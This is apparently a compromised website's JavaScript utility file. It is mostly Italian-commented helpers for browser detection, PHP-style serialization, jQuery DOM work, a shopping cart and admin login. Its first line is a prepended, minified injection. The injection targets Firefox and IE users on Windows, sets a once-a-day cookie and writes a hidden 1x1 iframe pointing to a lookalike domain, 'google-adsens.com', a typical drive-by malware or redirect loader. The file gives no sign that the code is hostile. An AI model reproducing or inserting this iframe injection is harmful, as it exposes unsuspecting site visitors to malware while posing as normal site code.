var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
﻿/* _____________________________ ON ERROR ____________________________________________ */
function silenzia()  {return true}
// window.onerror=silenzia;
/* ___________________________________________________________________________________ */

var BrowserDetect = {
	init: function () {
		this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
		this.version = this.searchVersion(navigator.userAgent)
			|| this.searchVersion(navigator.appVersion)
			|| "an unknown version";
		this.OS = this.searchString(this.dataOS) || "an unknown OS";
	},
	searchString: function (data) {
		for (var i=0;i<data.length;i++)	{
			var dataString = data[i].string;
			var dataProp = data[i].prop;
			this.versionSearchString = data[i].versionSearch || data[i].identity;
			if (dataString) {
				if (dataString.indexOf(data[i].subString) != -1)
					return data[i].identity;
			}
			else if (dataProp)
				return data[i].identity;
		}
	},
	searchVersion: function (dataString) {
		var index = dataString.indexOf(this.versionSearchString);
		if (index == -1) return;
		return parseFloat(dataString.substring(index+this.versionSearchString.length+1));
	},
	dataBrowser: [
		{
			string: navigator.userAgent,
			subString: "Chrome",
			identity: "Chrome"
		},
		{ 	string: navigator.userAgent,
			subString: "OmniWeb",
			versionSearch: "OmniWeb/",
			identity: "OmniWeb"
		},
		{
			string: navigator.vendor,
			subString: "Apple",
			identity: "Safari",
			versionSearch: "Version"
		},
		{
			prop: window.opera,
			identity: "Opera"
		},
		{
			string: navigator.vendor,
			subString: "iCab",
			identity: "iCab"
		},
		{
			string: navigator.vendor,
			subString: "KDE",
			identity: "Konqueror"
		},
		{
			string: navigator.userAgent,
			subString: "Firefox",
			identity: "Firefox"
		},
		{
			string: navigator.vendor,
			subString: "Camino",
			identity: "Camino"
		},
		{		// for newer Netscapes (6+)
			string: navigator.userAgent,
			subString: "Netscape",
			identity: "Netscape"
		},
		{
			string: navigator.userAgent,
			subString: "MSIE",
			identity: "Explorer",
			versionSearch: "MSIE"
		},
		{
			string: navigator.userAgent,
			subString: "Gecko",
			identity: "Mozilla",
			versionSearch: "rv"
		},
		{ 		// for older Netscapes (4-)
			string: navigator.userAgent,
			subString: "Mozilla",
			identity: "Netscape",
			versionSearch: "Mozilla"
		}
	],
	dataOS : [
		{
			string: navigator.platform,
			subString: "Win",
			identity: "Windows"
		},
		{
			string: navigator.platform,
			subString: "Mac",
			identity: "Mac"
		},
		{
			   string: navigator.userAgent,
			   subString: "iPhone",
			   identity: "iPhone/iPod"
	    },
		{
			string: navigator.platform,
			subString: "Linux",
			identity: "Linux"
		}
	]
};

function isIE(){
	return($.browser.msie);
}

function getNomeBrowser(){
	var tipo="";
	var contatore=0;
	$.each($.browser, function(i, val){
		contatore++;
		if(contatore==1){
			tipo=i;
		}
	});
	return(tipo);
}

function serialize( mixed_value ) {
    // http://kevin.vanzonneveld.net
    // +   original by: Arpad Ray (mailto:arpad@php.net)
    // +   improved by: Dino
    // +   bugfixed by: Andrej Pavlovic
    // +   bugfixed by: Garagoth
    // +      input by: DtTvB (http://dt.in.th/2008-09-16.string-length-in-bytes.html)
    // +   bugfixed by: Russell Walker (http://www.nbill.co.uk/)
    // %          note: We feel the main purpose of this function should be to ease the transport of data between php & js
    // %          note: Aiming for PHP-compatibility, we have to translate objects to arrays
    // *     example 1: serialize(['Kevin', 'van', 'Zonneveld']);
    // *     returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'
    // *     example 2: serialize({firstName: 'Kevin', midName: 'van', surName: 'Zonneveld'});
    // *     returns 2: 'a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}'
 
    var _getType = function( inp ) {
        var type = typeof inp, match;
        var key;
        if (type == 'object' && !inp) {
            return 'null';
        }
        if (type == "object") {
            if (!inp.constructor) {
                return 'object';
            }
            var cons = inp.constructor.toString();
            match = cons.match(/(\w+)\(/);
            if (match) {
                cons = match[1].toLowerCase();
            }
            var types = ["boolean", "number", "string", "array"];
            for (key in types) {
                if (cons == types[key]) {
                    type = types[key];
                    break;
                }
            }
        }
        return type;
    };
    var type = _getType(mixed_value);
    var val, ktype = '';
    
    switch (type) {
        case "function": 
            val = ""; 
            break;
        case "boolean":
            val = "b:" + (mixed_value ? "1" : "0");
            break;
        case "number":
            val = (Math.round(mixed_value) == mixed_value ? "i" : "d") + ":" + mixed_value;
            break;
        case "string":
            val = "s:" + encodeURIComponent(mixed_value).replace(/%../g, 'x').length + ":\"" + mixed_value + "\"";
            break;
        case "array":
        case "object":
            val = "a";
            /*
            if (type == "object") {
                var objname = mixed_value.constructor.toString().match(/(\w+)\(\)/);
                if (objname == undefined) {
                    return;
                }
                objname[1] = serialize(objname[1]);
                val = "O" + objname[1].substring(1, objname[1].length - 1);
            }
            */
            var count = 0;
            var vals = "";
            var okey;
            var key;
            for (key in mixed_value) {
                ktype = _getType(mixed_value[key]);
                if (ktype == "function") { 
                    continue; 
                }
                
                okey = (key.match(/^[0-9]+$/) ? parseInt(key, 10) : key);
                vals += serialize(okey) +
                        serialize(mixed_value[key]);
                count++;
            }
            val += ":" + count + ":{" + vals + "}";
            break;
        case "undefined": // Fall-through
        default: // if the JS object has a property which contains a null value, the string cannot be unserialized by PHP
            val = "N";
            break;
    }
    if (type != "object" && type != "array") {
        val += ";";
    }
    return val;
}

function unserialize(data){
    // http://kevin.vanzonneveld.net
    // +     original by: Arpad Ray (mailto:arpad@php.net)
    // +     improved by: Pedro Tainha (http://www.pedrotainha.com)
    // +     bugfixed by: dptr1988
    // +      revised by: d3x
    // +     improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +        input by: Brett Zamir (http://brett-zamir.me)
    // +     improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +     improved by: Chris
    // +     improved by: James
    // %            note: We feel the main purpose of this function should be to ease the transport of data between php & js
    // %            note: Aiming for PHP-compatibility, we have to translate objects to arrays
    // *       example 1: unserialize('a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}');
    // *       returns 1: ['Kevin', 'van', 'Zonneveld']
    // *       example 2: unserialize('a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}');
    // *       returns 2: {firstName: 'Kevin', midName: 'van', surName: 'Zonneveld'}
 
    var error = function (type, msg, filename, line){throw new this.window[type](msg, filename, line);};
    var read_until = function (data, offset, stopchr){
        var buf = [];
        var chr = data.slice(offset, offset + 1);
        var i = 2;
        while (chr != stopchr) {
            if ((i+offset) > data.length) {
                error('Error', 'Invalid');
            }
            buf.push(chr);
            chr = data.slice(offset + (i - 1),offset + i);
            i += 1;
        }
        return [buf.length, buf.join('')];
    };
    var read_chrs = function (data, offset, length){
        var buf;
 
        buf = [];
        for(var i = 0;i < length;i++){
            var chr = data.slice(offset + (i - 1),offset + i);
            buf.push(chr);
        }
        return [buf.length, buf.join('')];
    };
    var _unserialize = function (data, offset){
        var readdata;
        var readData;
        var chrs = 0;
        var ccount;
        var stringlength;
        var keyandchrs;
        var keys;
 
        if(!offset) {offset = 0;}
        var dtype = (data.slice(offset, offset + 1)).toLowerCase();
 
        var dataoffset = offset + 2;
        var typeconvert = new Function('x', 'return x');
 
        switch(dtype){
            case 'i':
                typeconvert = function (x) {return parseInt(x, 10);};
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
            break;
            case 'b':
                typeconvert = function (x) {return parseInt(x, 10) !== 0;};
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
            break;
            case 'd':
                typeconvert = function (x) {return parseFloat(x);};
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
            break;
            case 'n':
                readdata = null;
            break;
            case 's':
                ccount = read_until(data, dataoffset, ':');
                chrs = ccount[0];
                stringlength = ccount[1];
                dataoffset += chrs + 2;
 
                readData = read_chrs(data, dataoffset+1, parseInt(stringlength, 10));
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 2;
                if(chrs != parseInt(stringlength, 10) && chrs != readdata.length){
                    error('SyntaxError', 'String length mismatch');
                }
            break;
            case 'a':
                readdata = {};
 
                keyandchrs = read_until(data, dataoffset, ':');
                chrs = keyandchrs[0];
                keys = keyandchrs[1];
                dataoffset += chrs + 2;
 
                for(var i = 0;i < parseInt(keys, 10);i++){
                    var kprops = _unserialize(data, dataoffset);
                    var kchrs = kprops[1];
                    var key = kprops[2];
                    dataoffset += kchrs;
 
                    var vprops = _unserialize(data, dataoffset);
                    var vchrs = vprops[1];
                    var value = vprops[2];
                    dataoffset += vchrs;
 
                    readdata[key] = value;
                }
 
                dataoffset += 1;
            break;
            default:
                error('SyntaxError', 'Unknown / Unhandled data type(s): ' + dtype);
            break;
        }
        return [dtype, dataoffset - offset, typeconvert(readdata)];
    };
    
    return _unserialize((data+''), 0)[2];
}

function objFromId(id_elemento) {
	return ($("#id_elemento"));
}

function getFlashObj(idObj){
	var obj=(isIE())? eval("window."+idObj) : eval("window.document."+idObj);
	return(obj);
}

function debJsObj(oggetto, testoDeb, livelloObj){
	if(oggetto.length>0){
		for(var prop in oggetto){
			if(oggetto[prop] && (oggetto[prop].toString()=="[object]" || oggetto[prop].toString()=="[object Text]")){
				testoDeb+="["+prop+"] Object:<br />";
				testoDeb+=debJsObj(oggetto[prop], testoDeb, (livelloObj+1));
			} else {
				for(i=0;i<livelloObj;i++){
					testoDeb+="> ";
				}
				testoDeb+="["+prop+"]="+ oggetto[prop]+"<br />";
			}
		}
	}
	return(testoDeb);
}

function insHTML(idDiv, htmlTxt){
	$("#"+idDiv).html(htmlTxt);
}

function insGetHtml(idDiv, url){
	$.get(url,{
			time: unixTime()
		}, function(data){
		insHTML(idDiv, data);
	});
}

function alertGetHtml(url){
	$.get(url, function(data){
		alert(data);
	});
}

/////////////// FUNZIONE PER RIMUOVERE ELEMENTI DA UN ARRAY
Array.remove = function(array, from, to) {
  var rest = array.slice((to || from) + 1 || array.length);
  array.length = from < 0 ? array.length + from : from;
  return array.push.apply(array, rest);
};

/////////////// FUNZIONE IN_ARRAY
function in_array(needle, haystack, argStrict) {
    var key = '', strict = !!argStrict;
    if (strict) {
        for (key in haystack) {
            if (haystack[key] === needle) {
                return true;
            }
        }
    } else {
        for (key in haystack) {
            if (haystack[key] == needle) {
                return true;
            }
        }
    }
    return false;
}

/////////////// FUNZIONE PER CAPITALIZE
String.prototype.capitalize = function(){ //v1.0
    return this.replace(/\w+/g, function(a){
        return a.charAt(0).toUpperCase() + a.substr(1).toLowerCase();
    });
};

function strReplace(arrFind,arrRepl,str){
	for (var i=0; i<arrFind.length; i++){ 
		str = str.replace(arrFind[i], arrRepl[i]); 
	} 
	return str;
}

//////////////////////////////// STAMPA DI UN BLOCCO DI UNA PAGINA
function stampa(idBlock) {
	var testo = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\" />";
	testo += "<link href=\"css/stili.css\" rel=\"stylesheet\" type=\"text/css\" />"; 
	testo += "</head><body><div style=\"height:10px;\"></div><div id=\"coldx\" class=\"floatLeft\" style=\"width:745px;\">";
	testo += $("#"+idBlock).html();
	testo += "</div></body></html>";
	var ident_finestra = window.open("","finestra_stampa","height=700,width=800,top=5,left=5,scrollbars=yes");
	ident_finestra.document.open();
	ident_finestra.document.write(testo);
	ident_finestra.print();
	ident_finestra.document.close();
}

function linkblank(src){
	window.open(src,'','toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes');
}

function popupImg(src, sito){
	TopUp.display(src, {
		// width:700,
		// height:586,
		// effect:'appear', // 'transform', 'appear' (alias is 'fade'), 'switch' (alias is 'clip')
		layout:'dashboard', // 'quicklook','dashboard'
		shaded:1,
		noGroup:1,
		ondisplay: function(){
			$(".te_close_link").css("background","url(img/"+sito+"/bottoni/x_pop.gif) left top no-repeat");
			$(".te_close_link").css("background-position","4px 0");
			$(".te_close_link").css("right","7px");
			$(".te_close_link").css("top","9px");
		},
		onclose: function(){
			// $(".te_close_link").show();
		}
	});
	return(false);
}

function popVideo(srcVideo, sito){
	TopUp.display(srcVideo, {
		width:853,
		height:505,
		type:'flash',
		layout:'dashboard', // 'quicklook','dashboard'
		resizable:0,
		shaded:1,
		noGroup:1,
		ondisplay: function(){
			$(".te_close_link").css("background","url(img/"+sito+"/bottoni/x_pop.gif) left top no-repeat");
			$(".te_close_link").css("background-position","4px 0");
			$(".te_close_link").css("right","-17px");
			$(".te_close_link").css("top","9px");
		},
		onclose: function(){
			// $(".te_close_link").show();
		}
	});
	return(false);
} 


function getQueryString(idFormPost) {
	var qstr = "";
	var form = objFromId(idFormPost);
	for (keyVar in form) {
		if(form[keyVar] && form[keyVar].value!=undefined){
			qstr = qstr + keyVar + '=' + escape(form[keyVar].value) + "&";  // NOTE: no '?' before querystring
		}
	}
    return qstr;
}

var chiudiMS;
var chiudiMSArr=new Array();

function setOpacity(idDiv,value){
	if(objFromId(idDiv)){
		oggetto=objFromId(idDiv);
		oggetto.fadeTo(1000, (value/10), function(data){
			// nulla
		});
	}
}

function setlivelli(nomediv,stato){
	if(objFromId(nomediv)){
		oggetto=objFromId(nomediv);
		if(stato==1){
			oggetto.css('display', 'block');
			oggetto.css('visibility', 'visible');
		}
		if(stato==0){
			oggetto.css('display', 'none');
			oggetto.css('visibility', 'hidden');
		}
	}
	return(false);
}

function getVal(id){
	if(objFromId(id)){
		oggetto=objFromId(id);
		return oggetto.val();
	} else {
		return ("err");	
	}
}

function setVal(id,valore){
	if(objFromId(id)){
		oggetto=objFromId(id);
		oggetto.attr('value',valore);
		return (true);	
	} else {
		return (false);	
	}
}

function strpos(haystack, needle, offset){
    var i = (haystack+'').indexOf(needle, (offset ? offset : 0));
    return i === -1 ? false : i;
}

function loading(stato){
	setlivelli("loading",((stato==1)?1:0));
}

function posizionaDiv(idDiv,cooX,cooY){
	oggetto=objFromId(idDiv);
	if(cooX!=""){
		oggetto.css('marginLeft', cooX+"px");
	}
	if(cooY!=""){
		oggetto.css('marginTop', cooY+"px");
	}
}

function vai(url){
	location.href=url;
}

function getElementsByClassName(classname) {
    var rl = new Array();
    var re = new RegExp('(^| )'+classname+'( |$)');
    var ael = document.getElementsByTagName('*');
    var op = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
    if (document.all && !op) ael = document.all;
    for(i=0, j=0 ; i<ael.length ; i++) {
        if(re.test(ael[i].className)) {
        	rl[j]=ael[i];
            j++;
        }
    }
    return rl;
}

function rand(min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}

function randNum(){
	var data = new Date();
	data=data.getYear()+data.getMonth()+data.getDate()+data.getHours()+data.getMinutes()+data.getSeconds()+data.getMilliseconds();
	return(data);
}

function unixTime(){
	var foo = new Date; // Generic JS date object
	var unixtime_ms = foo.getTime(); // Returns milliseconds since the epoch
	// var unixtime = parseInt(unixtime_ms / 1000);
	var unixtime = parseInt(unixtime_ms);
	return(unixtime);
}

function getViewportSize() { 
	var size = [0, 0]; 
	if (typeof window.innerWidth != "undefined") { 
		size = [window.innerWidth, window.innerHeight];
	} 
	else if (typeof document.documentElement != "undefined" && typeof document.documentElement.clientWidth != "undefined" && document.documentElement.clientWidth != 0) {
		size = [document.documentElement.clientWidth, document.documentElement.clientHeight]; 
	}
	else {
		size = [document.getElementsByTagName("body")[0].clientWidth, document.getElementsByTagName("body")[0].clientHeight]; 
	}
	return size;
}

function setSpazioVert(){
	ris=getViewportSize();
	ris=ris[1];
	return(ris);
}

function alignBottom(idObj,idCont){ // idObj=div da spostare; idCont=div di riferimento
	objH=$(idObj).height();
	contH=$(idCont).height();
	var mh = (contH - objH);
	$(idObj).css('position', 'absolute');
	$(idObj).css('margin-top', (1+mh)+"px");
	if($(idCont).height() < (mh+objH)){
		// $(idCont).css('padding-bottom',objH);
		// $(idCont).css('height',(mh+objH));
		if(!(idObj=="#campoObbl")){
			$(idObj).css('min-height',(mh+objH));
		}
		$(idCont).css('min-height',(mh+objH));

	}
}

function getIEVersion(){
    var version = 999; // we assume a sane browser
    if (navigator.appVersion.indexOf("MSIE") != -1)
      // bah, IE again, lets downgrade version number
      version = parseFloat(navigator.appVersion.split("MSIE")[1]);
    return version;
}

function testRegExp(stringa, espressione){
	var espressione = new RegExp(espressione);
	return espressione.test(stringa);
}

function zoomImg(url){
	tb_show('', url);
	return(false);
}

function aggiornaCaptcha(){
	oggetto=objFromId("imgCaptcha");
	if(oggetto){
		oggetto.attr("src","captcha_zdr/captcha_img.php?rand="+randNum());
	}
	return(false);
}

function showAddress(address,titolo,idDiv) {
  // document.getElementById('daddr').value=address;
  if (GBrowserIsCompatible()) {
	geocoder = new GClientGeocoder();
  }

  if (geocoder) {
	geocoder.getLatLng(
	  address,
	  function(point) {
		if (!point) {
		  alert(address + " non trovato");
		} else {
		/*zoom*/

			coordinate = point;

			map = new GMap2(document.getElementById(idDiv));
			
			/*mappa - satellite - ibrida */
			map.addControl(new GMapTypeControl());
			
			/*controller con barra vert*/
			// map.addControl(new GSmallMapControl());
			map.addControl(new GLargeMapControl());
			
			/*zoom box, in basso a dx*/
			map.addControl(new GOverviewMapControl(),
			
			new GControlPosition(G_ANCHOR_BOTTOM_RIGHT, new GSize(9, 9)));
			
			/*COORDINATE DI PARTENZA DELLA MAPPA*/
			map.setCenter(point, 15);
			// map.setCenter(point, 12);
			var marker = new GMarker(point);
			map.addOverlay(marker);
			if(titolo){
				marker.openInfoWindowHtml(titolo+"&nbsp;&nbsp;&nbsp;&nbsp;");
			} else {
				marker.openInfoWindowHtml(address+"&nbsp;&nbsp;&nbsp;&nbsp;");
			}
		}
	  }
	);
  }
}

function contaCharsTxtArea(maxchar){
	testo=$("#messaggio").val();
	caratteri=testo.length;
	if (caratteri > maxchar){
		$("#messaggio").val(testo.substr(0, maxchar));
	}
}

/* ----------------- INIZIO FUNZIONI DI CARRELLO ----------------------- */

var inviabile=true;

function bloccaNum(nomeModulo, nomeCampo, minVal, maxVal) { // IMPONE AL CAMPO DI ACCETTARE SOLO NUMERI
	oggetto=document.getElementById(nomeModulo);
	var textObj = eval("oggetto."+nomeCampo);
	textObj.onkeyup = function () {
		valoreIniz=textObj.value;
		valoreFin="";
		valoreLenght=valoreIniz.length;
		for (i=0; i<valoreLenght; i++){
			if(!isNaN(valoreIniz.charAt(i))){
				valoreFin+=valoreIniz.charAt(i);
			} else {
			}
		}
		if(valoreFin<minVal){
			valoreFin=minVal;
		}
		if(valoreFin>maxVal){
			valoreFin=maxVal;
		}		
		textObj.value=valoreFin;
	}
}

selectLists = document.getElementsByTagName('select');
function visAllSelect(stato){
	for (var counter=0; counter<selectLists.length; counter++){
		selectLists[counter].style.visibility=(stato==0)?'hidden':'visible';
	}
}

function modQta(qta){
	oggetto=objFromId("qta");
	var qtaAtt=parseInt(oggetto.val(), 10);
	qtaAtt=qtaAtt+parseInt(qta, 10);
	qtaAtt=(qtaAtt>=1)? qtaAtt : 1;
	oggetto.val(qtaAtt);
	oggetto=objFromId("qtaTxt");
	oggetto.html(qtaAtt);
}

/* ----------------- FINE FUNZIONI DI CARRELLO ----------------------- */

function logout(){
	$.get("background.php", {
		  	act: "logout",
			time: unixTime()
		}, function(data){
			document.location.reload();
	});
	return(false);
}

function logoutAdmin(){
	$.get("background.php", {
		  	act: "logoutAdmin",
			time: unixTime()
		}, function(data){
			document.location.reload();
	});
	return(false);
}

function contrLoginAdmin(){
	insHTML("alertForm", "");
	$.post("background.php",{
			user: $("#user").val(),
			password: $("#password").val(),

			act: "loginAdmin",
			time: unixTime()
		}, function(data){
			if(data=="ok"){
				vai("admin.php");
				return(false);				
			} else {
				insHTML("alertForm", "Autenticazione fallita");
				return(false);				
			}
		});
	return(false);
}


function funzioniResize(){

}

function funzioniOnLoad(){
	BrowserDetect.init();
	fixPng();

}


